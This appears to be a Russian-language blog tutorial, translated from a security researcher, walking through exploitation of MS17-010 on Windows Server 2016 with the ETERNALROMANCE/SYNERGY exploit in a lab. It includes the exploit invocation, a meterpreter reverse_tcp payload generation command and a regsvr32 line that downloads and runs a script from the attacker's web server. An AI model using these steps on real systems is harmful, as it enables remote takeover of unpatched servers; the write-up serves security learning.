November 10, 2019

Взлом ПК с помощью эксплоита ETERNALROMANCE/SYNERG.

@darkside_team
Данная статья является переводом от зарубежного специалиста в ИБ
(Автор: Sheila A. Berta (@UnaPibaGeek))

Введение

Когда компания Microsoft выпустила патчи для уязвимости MS17-010, было сообщено, что проблема касается платформ, начиная от Windows 7 (если быть совсем точным, то и Windows Vista тоже) и заканчивая Windows Server 2016. Хотя эксплоиты под кодовым названием "ETERNALS", опубликованные группой TheShadowBrokers, которые пригодны для эксплуатации в Windows Server 2012 и более современных системах, - очень нестабильны и в 99% случаев вызывают BSOD на машине жертвы.

С целью понимания и улучшения эксплоитов от NSA, опубликованные работы были проанализированы многими специалистами по безопасности. Как итог, некоторое время назад появилась более стабильная версия (разработанная исследователем Sleepya) эксплоита ETERNALROMANCE/SYNERGY с улучшенным методом эксплуатации и направленным на системы под управлением Windows Server 2012 и 2016. Однако для того чтобы использовать этот эксплоит необходимо разобраться в механизме работы этого скрипта и модифицировать некоторые вещи для получения желаемого результата.

В этой статье будут даны пошаговые рекомендации для того, чтобы эксплоит работал корректно, а также разъяснения относительно модификации с целью получения meterpreter-сессии на целевой машине.

Как обычно, вся информация приводится в ознакомительных целях.

Настройка лабораторной среды

Для настройки лабораторной среды нужно сконфигурировать следующие системы:

Целевая система - Windows Server 2016

Эта машина с установленной 64-битной операционной системой Windows Server 2016 будет использоваться в качестве целевой.

Конфигурация целевой машины

После установки операционной системы дополнительные настройки не требуются. Достаточно знать IP-адрес и убедиться в том, что машина включена на момент атаки.

Система злоумышленника - GNU/Linux

Возможно использование любой другой операционной системы, которая поддерживает работу следующих инструментов:

  • Python v2.7 - https://www.python.org/download/releases/2.7/
  • Ps1Encode - https://github.com/CroweCybersecurity/ps1encode
  • Metasploit Framework - https://github.com/rapid7/metasploit-framework

В итоге у нас есть две настроенные машины, используемые в лабораторной среде:

  • Windows Server 2016 x64 – IP-адрес: 10.0.2.13 - Целевая система.
  • GNU/Linux Debian x64 – IP-адрес: 10.0.2.6 - Система злоумышленника.

Получение эксплоита

Эксплоит можно скачать по следующей ссылке:

https://www.exploit-db.com/exploits/42315/.

Поскольку скрипт написан на Python, сохраняем файл с расширением .py на машине злоумышленника. Во время запуска возникает следующая ошибка:

Ошибка, возникающая при запуске эксплоита

Решение проблем с зависимостями

В третьей строке эксплоита импортируется модуль "mysmb", которого нет в Python. Установить этот модуль, разработанный Sleepya, можно установить при помощи утилиты pip, либо скачать по следующей ссылке: https://github.com/worawit/MS17-010/blob/master/mysmb.py.

Файл модуля с именем "mysmb.py" помещаем в папку со скриптом. Для того чтобы эксплоит смог импортировать код модуля, необходимо создать файл с именем «__INIT__.py» с перечнем нужных модулей.

Теперь скрипт сможет найти нужный модуль и не будет выдавать ошибок:

Добавление файла __INIT__.py и запуск эксплоита

Проверка работоспособности эксплоита

Возможна проверка работоспособности эксплоита без каких-либо модификаций. Если мы запустим скрипт как есть по завершению работы в корневой директории диска C:\ на целевой машине будет создан файл с именем "pwned.txt".
Несмотря на то, что в простейшем случае никакие изменения не требуются, конкретно в вашей ситуации может потребоваться модификация некоторых параметров.

Аутентификация

Уязвимость, используемая в эксплоите ETERNALROMANCE/SYNERGY, требует аутентификации. Эксплуатацию можно осуществить через гостевую учетную запись. Если гостевой аккаунт отключен, нам нужно получить имя пользователя и пароль любой другой учетной записи, которая используется на целевой машине. Важно отметить, что уровень привилегий не имеет значения. Даже если учетная запись с гостевыми правами, после атаки привилегии будут повышены до системного уровня.

Информация об учетной записи задается в файле exploit.py в строках 26-27:

Информация об имени пользователя и пароле, используемых для аутентификации во время атаки

Параметры

Для корректной работы эксплоита необходимо настроить два параметра: IP-адрес целевой машины и имя канала (pipe name). Протокол SMB поддерживает три типа общих ресурсов:

  • File: файловые (или дисковые) общие ресурсы, представляющие собой дерево директорий с файлами.
  • Print: доступ к ресурсам принтера на сервере.
  • Pipe: коммуникация между процессами, использующими модель FIFO, при помощи именованных каналов, которые активны до тех пор, пока система работает, даже если процесс уже не активен.

В отличие от ETERNALBLUE эксплоиты ETERNALROMANCE и ETERNALSYNERGY используют именованные каналы, и, соответственно, нужно выбрать тип канала, который необходим во время атаки.

Лично я пользуюсь «spoolss». Альтернативный вариант: «browser». Кроме того, можно воспользоваться сканером auxiliary/scanner/smb/pipe_auditor в metasploit для поиска доступных каналов на целевой машине.

Запуск без шелл-кода

Теперь запускаем эксплоит при помощи следующей команды:

python exploit.py <target_ip> spoolss 
Запуск эксплоита

Как было сказано ранее, если эксплуатация завершилась успешно, в корневой директории диска «C:\» появится новый файл «pwned.txt».

После успешной эксплуатации на целевой машине появился файл

pwned.txt

На данный момент мы уже сделали большой шаг, выполнив успешную эксплуатацию. Теперь нужно модифицировать эксплоит так, чтобы запустить шелл в meterpreter.

Создание шелл-кода

Существует множество способов запустить meterpreter-шелл или выполнить какие-либо другие действия вместо создания текстового файла.

Первый шаг – генерирование шелл-кода, который мы будем использовать в дальнейшем. Лично я очень люблю один метод, у которого масса преимуществ, когда речь заходит про обход различных защит.

Шелл-код будет помещен в файл .SCT, который эксплоит будет загружать и запускать на целевой машине, в результате чего мы получим долгожданную meterpreter-сессию.

Создание файла .SCT при помощи утилиты PS1ENCODE

Ps1encode позволяет сгенерировать и закодировать полезные нагрузки для metasploit в различных форматах на базе PowerShell.

Эту утилиту можно загрузить на github: https://github.com/CroweCybersecurity/ps1encode.

Для генерирования нужной полезной нагрузки нам необходимо запустить Ps1encode со следующими параметрами:

 ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> --LPORT=4444 -t sct

Сгенерированный файл .SCT должен храниться на веб-сервере на машине злоумышленника или в любом другом месте, к которому можно получить доступ из целевой системы. Поэтому при запуске предыдущей команды задается вопрос о том, какой будет полный URL, где мы будем хранить файл .sct. Если будет использоваться машина злоумышленника, нужно ввести следующий URL: http://<ATTACKER_IP>.

Помещение шелл-кода в место, доступное из целевой системы

На предыдущем шаге мы создали файл index.sct в папке утилиты Ps1Encode. Чтобы этот файл был доступен для загрузки эксплоитом на целевой машине мы должны поместить полезную нагрузку в папку веб-сервера и назначить нужные права.

Копирование полезной нагрузки на веб-сервер и назначение прав

После выполнения команд, показанных на рисунке выше, у нас появляется шелл-код, готовый к употреблению.

Изменение эксплоита

Если мы откроем скрипт в текстовом редакторе и перейдем к строке 463 (и ниже), то увидим следующий код:

Участок кода эксплоита

На рисунке выше показаны функции, используемые для создания файла «pwned.txt» на целевой машине. Более интересной для нас является закомментированная строка с функцией service_exec().

Функция service_exec() в качестве примера выполняет команду «copy» для создания копии файла «pwned.txt». Эта строка кода не будет выполняться до тех пор, пока вначале стоит символ «#». Если убрать этот символ и запустить эксплоит повторно, мы увидим, что в корне диска «C:\» появилось два файла: pwned.txt и pwned_exec.txt.

Вместо команды copy можно поставить любую другую, которая нам необходима.

Запуск шелл-кода

Теперь мы знаем, в каком месте нужно модифицировать эксплоит для выполнения команды загрузки и запуска шелла в meterpreter:

 regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll 

Эксплоит будет выглядеть так:

Модифицированная версия эксплоита

Получение Meterpreter-сессии

В самом конце, перед запуском эксплоита, мы должны настроить модуль exploit/multi/handler для получения meterpreter-сессии.

Настройка модуля exploit/multi/handler

Далее запускаем модифицированную версию эксплоита:

Запуск измененного эксплоита

Через несколько секунд мы получим meterpreter-сессию на целевой машине с системными привилегиями.

Получение сессии

The End.